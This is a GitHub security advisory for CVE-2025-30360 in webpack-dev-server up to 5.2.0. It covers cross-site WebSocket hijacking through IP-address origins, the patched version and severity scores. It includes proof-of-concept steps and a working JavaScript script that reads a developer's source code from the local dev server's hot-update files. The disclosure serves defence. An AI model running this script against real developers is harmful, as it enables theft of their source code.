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webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Moderate severity GitHub Reviewed Published Jun 3, 2025 in webpack/webpack-dev-server • Updated Jun 4, 2025

Package

npm webpack-dev-server (npm)

Affected versions

<= 5.2.0

Patched versions

5.2.1

Description

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: webpack/webpack-dev-server@72efaab (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
  5. Edit src/index.js in the extracted directory
  6. You can see the content of src/index.js

image

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

References

Published by the National Vulnerability Database Jun 3, 2025
Published to the GitHub Advisory Database Jun 4, 2025
Reviewed Jun 4, 2025
Last updated Jun 4, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

CVE ID

CVE-2025-30360

GHSA ID

GHSA-9jgg-88mc-972h

Credits

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